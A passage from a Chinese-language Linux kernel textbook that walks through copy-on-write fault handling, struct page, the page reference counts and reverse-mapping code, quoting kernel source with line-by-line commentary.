193         * We call the notify macro here because, when using secondary
194         * mmu page tables (such as kvm shadow page tables), we want the
195         * new page to be mapped directly into the secondary page table.
196         */
197        set_pte_at_notify(mm, address, page_table, entry);
198        update_mmu_cache(vma, address, page_table);
199        if (old_page) {
200             /*
201              * Only after switching the pte to the new page may
202              * we remove the mapcount here. Otherwise another
203              * process may come and find the rmap count decremented
204              * before the pte is switched to the new page, and
205              * "reuse" the old page writing into it while our pte
206              * here still points into it and can be read by other
207              * threads.
208              *
209              * The critical issue is to order this
210              * page_remove_rmap with the ptp_clear_flush above.
211              * Those stores are ordered by (if nothing else,)
212              * the barrier present in the atomic_add_negative
213              * in page_remove_rmap.
214              *
215              * Then the TLB flush in ptep_clear_flush ensures that
216              * no process can access the old page before the
217              * decremented mapcount is visible. And the old page
218              * cannot be reused until after the decremented
219              * mapcount is visible. So transitively, TLBs to
220              * old page will be flushed before it can be reused.
221              */
222             page_remove_rmap(old_page);
223      }
224
225      /* Free the old page.. */
226      new_page = old_page;
227      ret |= VM_FAULT_WRITE;
228 } else
229      mem_cgroup_cancel_charge(new_page, memcg);
230
231 if (new_page)
232       page_cache_release(new_page);
233unlock:
234 pte_unmap_unlock(page_table, ptl);
235 if (mmun_end > mmun_start)
236      mmu_notifier_invalidate_range_end(mm, mmun_start, mmun_end);
237 if (old_page) {
238      /*
239       * Don't let another task, with possibly unlocked vma,
240       * keep the mlocked page.
241       */
242      if ((ret & VM_FAULT_WRITE) && (vma->vm_flags & VM_LOCKED)) {
243            lock_page(old_page);     /* LRU manipulation */
244            munlock_vma_page(old_page);
245            unlock_page(old_page);
246      }
247      page_cache_release(old_page);
248 }
249 return ret;
250oom_free_new:
251 page_cache_release(new_page);
252oom:
253 if (old_page)
254       page_cache_release(old_page);
255 return VM_FAULT_OOM;
256}

第138行代码,注释说明现在需要开始写时复制。

第145行代码,例行检查VMA是否初始化了反向映射机制。

第148行代码,判断pte是否为系统零页面,如果是,alloc_zeroed_user_highpage_movable()分配一个内容全是0的页面,分配掩码是__GFP_MOVABLE | GFP_USER | __GFP_HIGHMEM,也就是优先分配高端内存HIGHMEM。如果不是系统零页面,使用alloc_page_vma()来分配一个页面,并且把old_page页面的内容复制这个新的页面new_page中。__SetPageUptodate()设置new_page的PG_uptodate位,表示内容有效。

第170行代码,重新读取pte,并且判断pte的内容是否被修改过。如果old_page是文件映射页面,那么需要增加系统匿名页面的计数且减少一个文件映射页面计数,因为刚才新建了一个匿名页面。

第180行代码,利用新建new_page和VMA的属性新生成一个PTE entry。

第181行代码,设置PTE entry的DIRTY位和WIRTABLE位。

第189行代码,page_add_new_anon_rmap()函数把new_page添加到RMAP反向映射机制,设置新页面的_mapcount计数为0。

第191行代码,把new_page添加到活跃的LRU链表中。

第197行代码,通过set_pte_at_notify()函数把新建的PTE entry设置到硬件页表项中。

第199~222行代码,利用new_page配置完硬件页表后,需要减少old_page的mapcount的计数。

第226行代码,准备释放old_page,真正释放是在page_cache_release()函数中。

do_wp_page函数流程图如图2.22所示。

图2.22 写时复制do_wp_page()处理流程图

缺页中断发生后,根据pte页表项中的PRESENT位、pte内容是否为空(pte_none()宏)以及是否文件映射等条件,相应的处理函数如下。

1.匿名页面缺页中断do_anonymous_page()

(1)判断条件:pte页表项中PRESENT没有置位、pte内容为空且没有指定vma->vm_ops->fault()函数指针。

(2)应用场合:malloc()分配内存。

2.文件映射缺页中断do_fault()

(1)判断条件:pte页表项中的PRESENT没有置位、pte内容为空且指定了vma->vm_ops->fault()函数指针。do_fault()属于在文件映射中发生的缺页中断的情况。

(2)应用场合:

3.swap缺页中断do_swap_page()

判断条件:pte页表项中的PRESENT没有置位且pte页表项内容不为空。

4.写时复制COW缺页中断do_wp_page()

(1)do_wp_page()最终有两种处理情况。

(2)判断条件:pte页表项中的PRESENT置位了且发生写错误缺页中断。

(3)应用场景:fork。父进程fork子进程,父子进程都共享父进程的匿名页面,当其中一方需要修改内容时,COW便会发生。

总之,缺页中断是内存管理中非常重要的一种机制,它和内存管理中大部分的模块都有联系,例如brk、mmap、反向映射等。学习和理解缺页中断是理解内存管理的基石,其中Dirty COW是学习和理解缺页中断的最好的例子之一,详见第2.18节。

内存管理大多是以页为中心展开的,struct page数据结构显得非常重要,在阅读本节前请思考如下小问题。

Linux内核内存管理的实现以struct page为核心,类似城市的地标(如上海的东方明珠),其他所有的内存管理设施都为之展开,例如VMA管理、缺页中断、反向映射、页面分配与回收等。struct page数据结构定义在include/linux/mm_types.h头文件中,大量使用了C语言的联合体Union来优化其数据结构的大小,因为每个物理页面都需要一个struct page数据结构,因此管理成本很高。page数据结构的主要成员如下:

[include/linux/mm_types.h]

0 struct page {
1    /* 第一个双字大小的区块 (First double word block)*/
2    unsigned long flags;
3    union {
4        struct address_space *mapping;
5        void *s_mem;
6    };
7 
8    /* 第二个双字大小的区块 */
9    struct {
10        union {
11            pgoff_t index;
12            void *freelist;
13            bool pfmemalloc;
14        };
15
16        union {
17            unsigned counters;
18            struct {
19                 union {
20                     atomic_t _mapcount;
21                     struct {
22                          unsigned inuse:16;
23                          unsigned objects:15;
24                          unsigned frozen:1;
25                     };
26                     int units;
27                 };
28                 atomic_t _count;
29            };
30            unsigned int active;
31        };
32   };
33
34   /* 第三个双字大小的区块 */
35   union {
36       struct list_head lru;
37       struct {
38            struct page *next;
39            short int pages;
40            short int pobjects;
41       };
42       struct slab *slab_page;
43       struct rcu_head rcu_head;
44       struct {
45            compound_page_dtor *compound_dtor;
46            unsigned long compound_order;
47       };
48   };
49   
50   /* 剩余的字节不是双字对齐 */
51   union {
52       unsigned long private;
53       spinlock_t ptl;
54       struct kmem_cache *slab_cache;
55       struct page *first_page;     
56   };
57}

struct page数据结构分为4部分,前3部分是双字(double word)大小,最后一个部分不是双字大小的。

flags成员是页面的标志位集合,标志位是内存管理非常重要的部分,具体定义在include/linux/page-flags.h文件中,重要的标志位如下:

0 enum pageflags {
1   PG_locked,          /* page已经上锁,不要访问 */
2   PG_error, /*表示页面发生了IO错误*/
3   PG_referenced, /*该标志位用来实现LRU算法中的第二次机会法,详见页面回收章节*/
4   PG_uptodate, /*表示页面内容是有效的,当该页面上的读操作完成后,设置该标志位*/
5   PG_dirty, /*表示页面内容被修改过,为脏页*/
6   PG_lru, /*表示该页在LRU链表中*/
7   PG_active, /*表示该页在活跃LRU链表中*/
8   PG_slab, /*表示该页属于由slab分配器创建的slab*/
9   PG_owner_priv_1, /* 页面的所有者使用,如果是pagecache页面,文件系统可能使用*/
10  PG_arch_1, /*与体系结构相关的页面状态位*/
11  PG_reserved, /*表示该页不可被换出*/
12  PG_private,/* 表示该页是有效的,当page->private包含有效值时会设置该标志位。如果页面是pagecache,那么包含一些文件系统相关的数据信息*/
13  PG_private_2,  /* 如果是pagecache, 可能包含fs aux data */
14  PG_writeback,         /* 页面正在回写 */
15  PG_compound,          /* 一个混合页面*/
16  PG_swapcache,         /* 这是交换页面 */
17  PG_mappedtodisk,      /* 在磁盘中分配了blocks */
18  PG_reclaim,           /* 马上要被回收了 */
19  PG_swapbacked,        /* 页面支持RAM/swap */
20  PG_unevictable,       /* 页面是不可收回的*/
21#ifdef CONFIG_MMU
22  PG_mlocked,           /* vma处于mlocked状态 */
23#endif
24  __NR_PAGEFLAGS,
25};

内核定义了一些标准宏,用于检查页面是否设置了某个特定的标志位或者用于操作某些标志位。这些宏的名称都有一定的模式,具体如下。

宏的实现在include/linux/page-flags.h文件中定义。

#define TESTPAGEFLAG(uname, lname)                         \
static inline int Page##uname(const struct page *page)               \
                { return test_bit(PG_##lname, &page->flags); }
#define SETPAGEFLAG(uname, lname)                         \
static inline void SetPage##uname(struct page *page)               \
                 { set_bit(PG_##lname, &page->flags); }

#define CLEARPAGEFLAG(uname, lname)                         \
static inline void ClearPage##uname(struct page *page)               \
                 { clear_bit(PG_##lname, &page->flags); }

flags这个成员除了存放上述重要的标志位之外,还有另外一个很重要的作用,就是存放SECTION编号、NODE节点编号、ZONE编号和LAST_CPUPID等。具体存放的内容与内核配置相关,例如SECTION编号和NODE节点编号与CONFIG_SPARSEMEM/ CONFIG_SPARSEMEM_VMEMMAP配置相关,LAST_CPUPID与CONFIG_NUMA_BALA NCING配置相关。

如图2.23所示,在ARM Vexpress平台中page->flags的布局示意图,其中,bit[0:21]用于存放页面标志位,bit[22:29]保留使用,bit[30:31]用于存放zone编号。上述是一个简单的page->flags布局图,复杂的布局图见第3.5节中NUMA相关的内容。

图2.23 ARM Vexpress平台page->flags布局示意图

可以通过set_page_zone()函数把zone编号设置到page->flags中,也可以通过page_zone()函数知道某个页面所属的zone。

[include/linux/mm.h]

static inline struct zone *page_zone(const struct page *page)
{
     return &NODE_DATA(page_to_nid(page))->node_zones[page_zonenum(page)];
}

static inline void set_page_zone(struct page *page, enum zone_type zone)
{
     page->flags &= ~(ZONES_MASK << ZONES_PGSHIFT);
     page->flags |= (zone & ZONES_MASK) << ZONES_PGSHIFT;
}

回到struct page数据结构定义中,mapping成员表示页面所指向的地址空间(address_space)。内核中的地址空间通常有两个不同的地址空间,一个用于文件映射页面,例如在读取文件时,地址空间用于将文件的内容数据与装载数据的存储介质区关联起来;另一个用于匿名映射。内核使用了一个简单直接的方式实现了“一个指针,两种用途”,mapping指针地址的最低两位用于判断是否指向匿名映射或KSM页面的地址空间,如果是匿名页面,那么mapping指向匿名页面的地址空间数据结构struct anon_vma。

[include/linux/mm.h]

#define PAGE_MAPPING_ANON     1
#define PAGE_MAPPING_KSM     2
#define PAGE_MAPPING_FLAGS    (PAGE_MAPPING_ANON | PAGE_MAPPING_KSM)

static inline int PageAnon(struct page *page)
{
     return ((unsigned long)page->mapping & PAGE_MAPPING_ANON) != 0;
}

page数据结构中第5行代码的s_mem用于slab分配器,slab中第一个对象的开始地址,s_mem和mapping共同占用一个字的存储空间。

page数据结构中第9~32行代码是第2个双字的区间,由两个联合体组成。index表示这个页面在一个映射中的序号或偏移量;freelist用于slab分配器;pfmemalloc是页面分配器中的一个标志。第20行和第28行代码的_mapcount和_count是非常重要的引用计数。

第35~48行代码是第3个双字区块,lru用于页面加入和删除LRU链表,其余一些成员用于slab或slub分配器。

第51行代码是page数据结构中剩余的成员,private用于指向私有数据的指针。

_count和_mapcount是struct page数据结构中非常重要的两个引用计数,且都是atomic_t类型的变量,其中,_count表示内核中引用该页面的次数。当_count的值为0时,表示该page页面为空闲或即将要被释放的页面。当_count的值大于0时,表示该page页面已经被分配且内核正在使用,暂时不会被释放。

内核中常用的加减_count引用计数的API为get_page()和put_page()。

[include/linux/mm.h]

static inline void get_page(struct page *page)
{
     /*
      * Getting a normal page or the head of a compound page
      * requires to already have an elevated page->_count.
      */
     VM_BUG_ON_PAGE(atomic_read(&page->_count) <= 0, page);
     atomic_inc(&page->_count);
}

static inline int put_page_testzero(struct page *page)
{
     VM_BUG_ON_PAGE(atomic_read(&page->_count) == 0, page);
     return atomic_dec_and_test(&page->_count);
}
[mm/swap.c]
void put_page(struct page *page)
{
     if (put_page_testzero(page))
          __put_single_page(page);
}

get_page()首先利用VM_BUG_ON_PAGE()来判断页面的_count的值不能小于等于0,这是因为页面伙伴分配系统分配好的页面初始值为1,然后直接使用atomic_inc()函数原子地增加引用计数。

put_page()首先也会使用VM_BUG_ON_PAGE()判断_count计数不能为0,如果为0,说明这页面已经被释放了。如果_count计数减1之后等于0,就会调用__put_single_page()来释放这个页面。

内核还有一对常用的变种宏,如下:

#define page_cache_get(page)         get_page(page)
#define page_cache_release(page)     put_page(page)

_count引用计数通常在内核中用于跟踪page页面的使用情况,常见的用法归纳总结如下。

(1)分配页面时_count引用计数会变成1。分配页面函数alloc_pages()在成功分配页面后,_count引用计数应该为0,这里使用VM_BUG_ON_PAGE()做判断,然后再设置这些页面的_count引用计数为1,见set_page_count()函数。

[alloc_pages()->__alloc_pages_nodemask()->get_page_from_freelist()->prep_new_page()->set_page_refcounted()]

static inline void set_page_refcounted(struct page *page)
{
     VM_BUG_ON_PAGE(PageTail(page), page);
     VM_BUG_ON_PAGE(atomic_read(&page->_count), page);
     set_page_count(page, 1);
}

(2)加入LRU链表时,page页面会被kswapd内核线程使用,因此_count引用计数会加1。以malloc为用户程序分配内存为例,发生缺页中断后do_anonymous_page()函数成功分配出来一个页面,在设置硬件pte表项之前,调用lru_cache_add()函数把这个匿名页面添加到LRU链表中,在这个过程中,使用page_cache_get()宏来增加_count引用计数。

[发生缺页中断->handle_mm_fault()->handle_pte_fault()->do_anonymous_page()->lru_cache_add_active_or_unevictable()]

static void __lru_cache_add(struct page *page)
{
     struct pagevec *pvec = &get_cpu_var(lru_add_pvec);

     page_cache_get(page);
     if (!pagevec_space(pvec))
          __pagevec_lru_add(pvec);
     pagevec_add(pvec, page);
     put_cpu_var(lru_add_pvec);
}

void lru_cache_add_active_or_unevictable(struct page *page,
                      struct vm_area_struct *vma)
{
     VM_BUG_ON_PAGE(PageLRU(page), page);

     if (likely((vma->vm_flags & (VM_LOCKED | VM_SPECIAL)) != VM_LOCKED)) {
            SetPageActive(page);
           lru_cache_add(page);
            return;
     }
     …
}

(3)被映射到其他用户进程pte时,_count引用计数会加1。例如,子进程在被创建时共享父进程的地址空间,设置父进程的pte页表项内容到子进程中并增加该页面的_count计数,见do_fork()->copy_process()->copy_mm()->dup_mmap()->copy_pte_range()->copy_one_te()函数。

(4)页面的private中有私有数据。

(5)内核对页面进行操作等关键路径上也会使_count引用计数加1。例如内核的follow_page()函数和get_user_pages()函数。以follow_page()为例,调用者通常需要设置FOLL_GET标志位来使其增加_count引用计数。例如KSM中获取可合并的页面函数get_mergeable_page(),另一个例子是Direct IO,见第2.17节的write_protect_page()函数。

[mm/ksm.c]

static struct page *get_mergeable_page(struct rmap_item *rmap_item)
{
     struct mm_struct *mm = rmap_item->mm;
     unsigned long addr = rmap_item->address;
     struct vm_area_struct *vma;
     struct page *page;

     down_read(&mm->mmap_sem);
     vma = find_mergeable_vma(mm, addr);
     …
     page = follow_page(vma, addr, FOLL_GET);
     …
     up_read(&mm->mmap_sem);
     return page;
}

_mapcount引用计数表示这个页面被进程映射的个数,即已经映射了多少个用户pte页表。在32位Linux内核中,每个用户进程都拥有3GB的虚拟空间和一份独立的页表,所以有可能出现多个用户进程地址空间同时映射到一个物理页面的情况,RMAP反向映射系统就是利用这个特性来实现的。_mapcount引用计数主要用于RMAP反向映射系统中。

[发生缺页中断->handle_mm_fault()->handle_pte_fault()->do_anonymous_page()-> page_add_new_anon_rmap()]

void page_add_new_anon_rmap(struct page *page,
     struct vm_area_struct *vma, unsigned long address)
{
     VM_BUG_ON_VMA(address < vma->vm_start || address >= vma->vm_end, vma);
     SetPageSwapBacked(page);
     atomic_set(&page->_mapcount, 0); /* increment count (starts at -1) */
      …
}
static inline unsigned long
copy_one_pte(struct mm_struct *dst_mm, struct mm_struct *src_mm,
        pte_t *dst_pte, pte_t *src_pte, struct vm_area_struct *vma,
       unsigned long addr, int *rss)
{
    ...
    page = vm_normal_page(vma, addr, pte);
    if (page) {
          get_page(page); //增加_count计数
          page_dup_rmap(page); //增加_mapcount计数
          if (PageAnon(page))
               rss[MM_ANONPAGES]++;
          else
               rss[MM_FILEPAGES]++;
    }

out_set_pte:
    set_pte_at(dst_mm, addr, dst_pte, pte);
    return 0;
}

struct page数据结构成员flags定义了一个标志位PG_locked,内核通常利用PG_locked来设置一个页面锁。lock_page()函数用于申请页面锁,如果页面锁被其他进程占用了,那么会睡眠等待。

[mm/filemap.c]

void __lock_page(struct page *page)
{
     DEFINE_WAIT_BIT(wait, &page->flags, PG_locked);

     __wait_on_bit_lock(page_waitqueue(page), &wait, bit_wait_io,
                             TASK_UNINTERRUPTIBLE);
}

[include/linux/pagemap.h]

static inline void lock_page(struct page *page)
{
     might_sleep();
     if (!trylock_page(page))
           __lock_page(page);
}

trylock_page()和lock_page()这两个函数看起来很相似,但有很大的区别。trylock_page()定义在include/linux/pagemap.h文件中,它使用test_and_set_bit_lock()去尝试为page的flags设置PG_locked标志位,并且返回原来标志位的值。如果page的PG_locked位已经置位了,那么当前进程调用trylock_page()返回为false,说明有其他进程已经锁住了page。因此,trylock_page()返回false表示获取锁失败,返回true表示获取锁成功。

[include/asm-generic/bitops/lock.h]

#define test_and_set_bit_lock(nr, addr)     test_and_set_bit(nr, addr)

[include/linux/pagemap.h]

static inline int trylock_page(struct page *page)
{
     return (likely(!test_and_set_bit_lock(PG_locked, &page->flags)));
}

Linux内核的内存管理以page页面为核心,_count和_mapcount是两个非常重要的引用计数,正确理解它们是理解Linux内核内存管理的基石。本章总结了它们在内存管理中重要的应用场景,读者可以细细品味。

在阅读本节前请思考如下小问题。

用户进程在使用虚拟内存过程中,从虚拟内存页面映射到物理内存页面,PTE页表项保留着这个记录,page数据结构中的_mapcount成员记录有多少个用户PTE页表项映射了物理页面。用户PTE页表项是指用户进程地址空间和物理页面建立映射的PTE页表项,不包括内核地址空间映射物理页面产生的PTE页表项。有的页面需要被迁移,有的页面长时间不使用需要被交换到磁盘。在交换之前,必须找出哪些进程使用这个页面,然后断开这些映射的PTE。一个物理页面可以同时被多个进程的虚拟内存映射,一个虚拟页面同时只能有一个物理页面与之映射。

在Linux 2.4内核中,为了确定某一个页面是否被某个进程映射,必须遍历每个进程的页表,工作量相当大,效率很低。在Linux 2.5开发期间,提出了反向映射(the object-based reverse-mapping VM,RMAP)的概念[8]

父进程为自己的进程地址空间VMA分配物理内存时,通常会产生匿名页面。例如do_anonymous_page()会分配匿名页面,do_wp_page()发生写时复制COW时也会产生一个新的匿名页面。以do_anonymous_page()分配一个新的匿名页面为例:

[用户态malloc()分配内存->写入该内存->内核缺页中断-> do_anonymous_page()]

static int do_anonymous_page(struct mm_struct *mm, struct vm_area_struct *vma,
          unsigned long address, pte_t *page_table, pmd_t *pmd,
          unsigned int flags)
{
      …

     /* Allocate our own private page. */
     if (unlikely(anon_vma_prepare(vma)))
          goto oom;
     page = alloc_zeroed_user_highpage_movable(vma, address);
     if (!page)
           goto oom;
     …

     page_add_new_anon_rmap(page, vma, address);
     …
}

在分配匿名页面时,调用RMAP反向映射系统的两个API接口来完成初始化,一个是anon_vma_prepare()函数,另一个page_add_new_anon_rmap()函数。下面来看anon_vma_prepare()函数的实现。

[do_anonymous_page()->anon_vma_prepare()]

0 int anon_vma_prepare(struct vm_area_struct *vma)
1 {
2    struct anon_vma *anon_vma = vma->anon_vma;
3    struct anon_vma_chain *avc;
4 
5    might_sleep();
6    if (unlikely(!anon_vma)) {
7         struct mm_struct *mm = vma->vm_mm;
8         struct anon_vma *allocated;
9 
10        avc = anon_vma_chain_alloc(GFP_KERNEL);
11        if (!avc)
12              goto out_enomem;
13
14        anon_vma = find_mergeable_anon_vma(vma);
15        allocated = NULL;
16        if (!anon_vma) {
17              anon_vma = anon_vma_alloc();
18              if (unlikely(!anon_vma))
19                   goto out_enomem_free_avc;
20              allocated = anon_vma;
21        }
22
23        anon_vma_lock_write(anon_vma);
24        /* page_table_lock to protect against threads */
25        spin_lock(&mm->page_table_lock);
26        if (likely(!vma->anon_vma)) {
27              vma->anon_vma = anon_vma;
28              anon_vma_chain_link(vma, avc, anon_vma);
29              /* vma reference or self-parent link for new root */
30              anon_vma->degree++;
31              allocated = NULL;
32              avc = NULL;
33        }
34        spin_unlock(&mm->page_table_lock);
35        anon_vma_unlock_write(anon_vma);
36
37        if (unlikely(allocated))
38              put_anon_vma(allocated);
39        if (unlikely(avc))
40              anon_vma_chain_free(avc);
41  }
42  eturn 0;
43
44 out_enomem_free_avc:
45  anon_vma_chain_free(avc);
46 out_enomem:
47  return -ENOMEM;
48}

anon_vma_prepare()函数主要为进程地址空间VMA准备struct anon_vma数据结构和一些管理用的链表。RMAP反向映射系统中有两个重要的数据结构,一个是anon_vma,简称AV;另一个是anon_vma_chain,简称AVC。struct anon_vma数据结构定义如下:

[include/linux/rmap.h]

struct anon_vma {
     struct anon_vma *root;      /* Root of this anon_vma tree */
     struct rw_semaphore rwsem;  /* W: modification, R: walking the list */
     atomic_t refcount;
     struct anon_vma *parent;   /* Parent of this anon_vma */
     struct rb_root rb_root;  /* Interval tree of private "related" vmas */
};

struct anon_vma_chain数据结构是连接父子进程中的枢纽,定义如下:

[include/linux/rmap.h]

struct anon_vma_chain {
     struct vm_area_struct *vma;
     struct anon_vma *anon_vma;
     struct list_head same_vma;   /* locked by mmap_sem & page_table_lock */
     struct rb_node rb;               /* locked by anon_vma->rwsem */
     unsigned long rb_subtree_last;
};

回到anon_vma_prepare()函数中。

第2行代码,VMA数据结构中有一个成员anon_vma用于指向anon_vma数据结构,如果VMA还没有分配过匿名页面,那么vma->anon_vma为NULL。

第10行代码,分配一个struct anon_vma_chain数据结构ac。

第14行代码,find_mergeable_anon_vma()函数检查是否可以复用当前vma的前继者near_vma和后继者prev_vma的anon_vma。能复用的判断条件比较苛刻,例如两个VMA必须相邻,VMA的内存policy也必须相同,有相同的vm_file等,有兴趣的同学可以去看anon_vma_compatible()函数。如果相邻的VMA无法复用anon_vma,那么重新分配一个anon_vma数据结构。

第26~33行代码,把vma->anon_vma指向到刚才分配的anon_vma,anon_vma_chain_ink()函数会把刚才分配的avc添加到vma的anon_vma_chain链表中,另外把avc添加到anon_vma->rb_root红黑树中。anon_vma数据结构中有一个读写信号量rwsem,上述的操作需要获取写者锁anon_vma_lock_write()。anon_vma_chain_link()函数的定义如下:

static void anon_vma_chain_link(struct vm_area_struct *vma,
                  struct anon_vma_chain *avc,
                  struct anon_vma *anon_vma)
{
     avc->vma = vma;
     avc->anon_vma = anon_vma;
     list_add(&avc->same_vma, &vma->anon_vma_chain);
     anon_vma_interval_tree_insert(avc, &anon_vma->rb_root);
}

接下来看另外一个重要的API函数:page_add_new_anon_rmap()。

[do_anonymous_page()->page_add_new_anon_rmap()]

void page_add_new_anon_rmap(struct page *page,
     struct vm_area_struct *vma, unsigned long address)
{
     VM_BUG_ON_VMA(address < vma->vm_start || address >= vma->vm_end, vma);
     SetPageSwapBacked(page);
     atomic_set(&page->_mapcount, 0); /* increment count (starts at -1) */
     __mod_zone_page_state(page_zone(page), NR_ANON_PAGES,
           hpage_nr_pages(page));
     __page_set_anon_rmap(page, vma, address, 1);
}

SetPageSwapBacked()设置page的标志位PG_SwapBacked,表示这个页面可以swap到磁盘。atomic_set()设置page的_mapcount引用计数为0,_mapcount的初始化值为−1。__mod_zone_page_state()增加页面所在的zone的匿名页面的计数,匿名页面计数类型为NRANON_PAGES,\_page_set_anon_rmap()函数设置这个页面为匿名映射。

[page_add_new_anon_rmap()->__page_set_anon_rmap()]

0 static void __page_set_anon_rmap(struct page *page,
1    struct vm_area_struct *vma, unsigned long address, int exclusive)
2 {
3    struct anon_vma *anon_vma = vma->anon_vma;
4 
5    BUG_ON(!anon_vma);
6 
7    if (PageAnon(page))
8         return;
9 
10   /*
11    * If the page isn't exclusively mapped into this vma,
12    * we must use the _oldest_possible anon_vma for the
13    * page mapping!
14    */
15   if (!exclusive)
16         anon_vma = anon_vma->root;
17
18   anon_vma = (void *) anon_vma + PAGE_MAPPING_ANON;
19   page->mapping = (struct address_space *) anon_vma;
20   page->index = linear_page_index(vma, address);
21}

第18~19行代码,将anon_vma的指针的值加上PAGE_MAPPING_ANON,然后把指针值赋给page->mapping。struct page数据结构中的mapping成员用于指定页面所在的地址空间。内核中所谓的地址空间通常有两个不同的地址空间,一个用于文件映射页面,另一个用于匿名映射。mapping指针的最低两位用于判断是否指向匿名映射或KSM页面的地址空间,如果mapping指针最低1位不为0,那么mapping指向匿名页面的地址空间数据结构struct anon_vma。内核提供一个函数PageAnon()函数,用于判断一个页面是否为匿名页面,见第7行代码。关于KSM页面的内容详见第2.17节。

[include/linux/mm.h]

#define PAGE_MAPPING_ANON     1
#define PAGE_MAPPING_KSM     2
#define PAGE_MAPPING_FLAGS    (PAGE_MAPPING_ANON | PAGE_MAPPING_KSM)
static inline int PageAnon(struct page *page)
{
     return ((unsigned long)page->mapping & PAGE_MAPPING_ANON) != 0;
}

__page_set_anon_rmap()函数中的第20行代码,linear_page_index()函数计算当前地址address是在VMA中的第几个页面,然后把offset值赋值到page->index中,详见第2.17.2节中关于page->index的问题。

static inline pgoff_t linear_page_index(struct vm_area_struct *vma,
                          unsigned long address)
{
     pgoff_t pgoff;
     pgoff = (address - vma->vm_start) >> PAGE_SHIFT;
     pgoff += vma->vm_pgoff;
     return pgoff >> (PAGE_CACHE_SHIFT - PAGE_SHIFT);
}

父进程分配匿名页面的状态如图2.24所示,归纳如下:

图2.24 父进程分配匿名页面

父进程通过fork系统调用创建子进程时,子进程会复制父进程的进程地址空间VMA数据结构的内容作为自己的进程地址空间,并且会复制父进程的pte页表项内容到子进程的页表中,实现父子进程共享页表。多个不同子进程中的虚拟页面会同时映射到同一个物理页面,另外多个不相干的进程的虚拟页面也可以通过KSM机制映射到同一个物理页面中,这里暂时只讨论前者。为了实现RMAP反向映射系统,在子进程复制父进程的VMA时,需要添加hook钩子。

fork系统调用实现在kernel/fork.c文件中,在dup_mmap()中复制父进程的进程地址空间函数,实现逻辑如下:

[do_fork()->copy_process()->copy_mm()->dup_mm()->dup_mmap()]

0 static int dup_mmap(struct mm_struct *mm, struct mm_struct *oldmm)
1 {
2    struct vm_area_struct *mpnt, *tmp, *prev, **pprev;
3    struct rb_node **rb_link, *rb_parent;
4    int retval;
5      ...
6    prev = NULL;
7    for (mpnt = oldmm->mmap; mpnt; mpnt = mpnt->vm_next) {
8         ...
9         tmp = kmem_cache_alloc(vm_area_cachep, GFP_KERNEL);
10        *tmp = *mpnt;
11        INIT_LIST_HEAD(&tmp->anon_vma_chain);
12        tmp->vm_mm = mm;
13        if (anon_vma_fork(tmp, mpnt))
14             goto fail_nomem_anon_vma_fork;
15        tmp->vm_flags &= ~VM_LOCKED;
16        tmp->vm_next = tmp->vm_prev = NULL;
17        file = tmp->vm_file;
18
19        ...
20        *pprev = tmp;
21        pprev = &tmp->vm_next;
22        tmp->vm_prev = prev;
23        prev = tmp;
24
25        __vma_link_rb(mm, tmp, rb_link, rb_parent);
26        rb_link = &tmp->vm_rb.rb_right;
27        rb_parent = &tmp->vm_rb;
28        
29        retval = copy_page_range(mm, oldmm, mpnt);
30        ...
31   }
32   arch_dup_mmap(oldmm, mm);
33   retval = 0;
34}

第7~31行代码,for循环遍历父进程的进程地址空间VMAs。

第9行代码,新建一个临时用的vm_area_struct数据结构tmp。

第10行代码,把父进程的VMA数据结构内容复制到子进程刚创建的VMA数据结构tmp中。

第11行代码,初始化tmp VMA中的anon_vma_chain链表。

第13行代码,anon_vma_fork()函数为子进程创建相应的anon_vma数据结构。

第25行代码,把VMA添加到子进程的红黑树中。

第29行代码,复制父进程的pte页表项到子进程页表中。

anon_vma_fork()函数的实现首先会调用anon_vma_clone(),下面来看这个函数。

[dup_mmap()->anon_vma_clone()]

0 int anon_vma_clone(struct vm_area_struct *dst, struct vm_area_struct *src)
1 {
2    struct anon_vma_chain *avc, *pavc;
3    struct anon_vma *root = NULL;
4 
5    list_for_each_entry_reverse(pavc, &src->anon_vma_chain, same_vma) {
6         struct anon_vma *anon_vma;
7 
8         avc = anon_vma_chain_alloc(GFP_NOWAIT | __GFP_NOWARN);
9         if (unlikely(!avc)) {
10             unlock_anon_vma_root(root);
11             root = NULL;
12             avc = anon_vma_chain_alloc(GFP_KERNEL);
13             if (!avc)
14                   goto enomem_failure;
15        }
16        anon_vma = pavc->anon_vma;
17        root = lock_anon_vma_root(root, anon_vma);
18        anon_vma_chain_link(dst, avc, anon_vma);
19   }
20   if (dst->anon_vma)
21        dst->anon_vma->degree++;
22   unlock_anon_vma_root(root);
23   return 0;
24}

anon_vma_clone()函数参数dst表示子进程的VMA,src表示父进程的VMA。

第5行代码,遍历父进程VMA中的anon_vma_chain链表寻找anon_vma_chain实例。父进程在为VMA分配匿名页面时,do_anonymous_page()->anon_vma_prepare()函数会分配一个anon_vma_chain实例并挂入到VMA的anon_vma_chain链表中,因此可以很容易地通过链表找到anon_vma_chain实例,在代码中这个实例叫作pavc。

第8行代码,分配一个属于子进程的avc数据结构。

第16行代码,通过pavc找到父进程VMA中的anon_vma。

第18行代码,anon_vma_chain_link()函数把属于子进程的avc挂入子进程的VMA的anon_vma_chain链表中,同时也把avc添加到属于父进程的anon_vma->rb_root的红黑树中,使子进程和父进程的VMA之间有一个联系的纽带。

[dup_mmap()->anon_vma_fork()]

0 int anon_vma_fork(struct vm_area_struct *vma, struct vm_area_struct *pvma)
1 {
2    struct anon_vma_chain *avc;
3    struct anon_vma *anon_vma;
4    int error;
5    
6    if (!pvma->anon_vma)
7          return 0;
8    
9    error = anon_vma_clone(vma, pvma);
10   /* An existing anon_vma has been reused, all done then. */
11   if (vma->anon_vma)
12        return 0;
13
14   /* Then add our own anon_vma. */
15   anon_vma = anon_vma_alloc();
16   avc = anon_vma_chain_alloc(GFP_KERNEL);
17   
18   anon_vma->root = pvma->anon_vma->root;
19   anon_vma->parent = pvma->anon_vma;
20
21   get_anon_vma(anon_vma->root);
22   /* Mark this anon_vma as the one where our new (COWed) pages go. */
23   vma->anon_vma = anon_vma;
24   anon_vma_lock_write(anon_vma);
25   anon_vma_chain_link(vma, avc, anon_vma);
26   anon_vma->parent->degree++;
27   anon_vma_unlock_write(anon_vma);
28
29   return 0;
30}

继续来看anon_vma_fork()函数的实现,参数vma表示子进程的VMA,参数pvma表示父进程的VMA。这里分配属于子进程的anon_vma和avc,然后通过anon_vma_chain_link()把avc挂入子进程的vma->anon_vma_chain链表中,同时也加入子进程的anon_vma->rb_root红黑树中。至此,子进程的VMA和父进程的VMA之间的纽带建立完成。

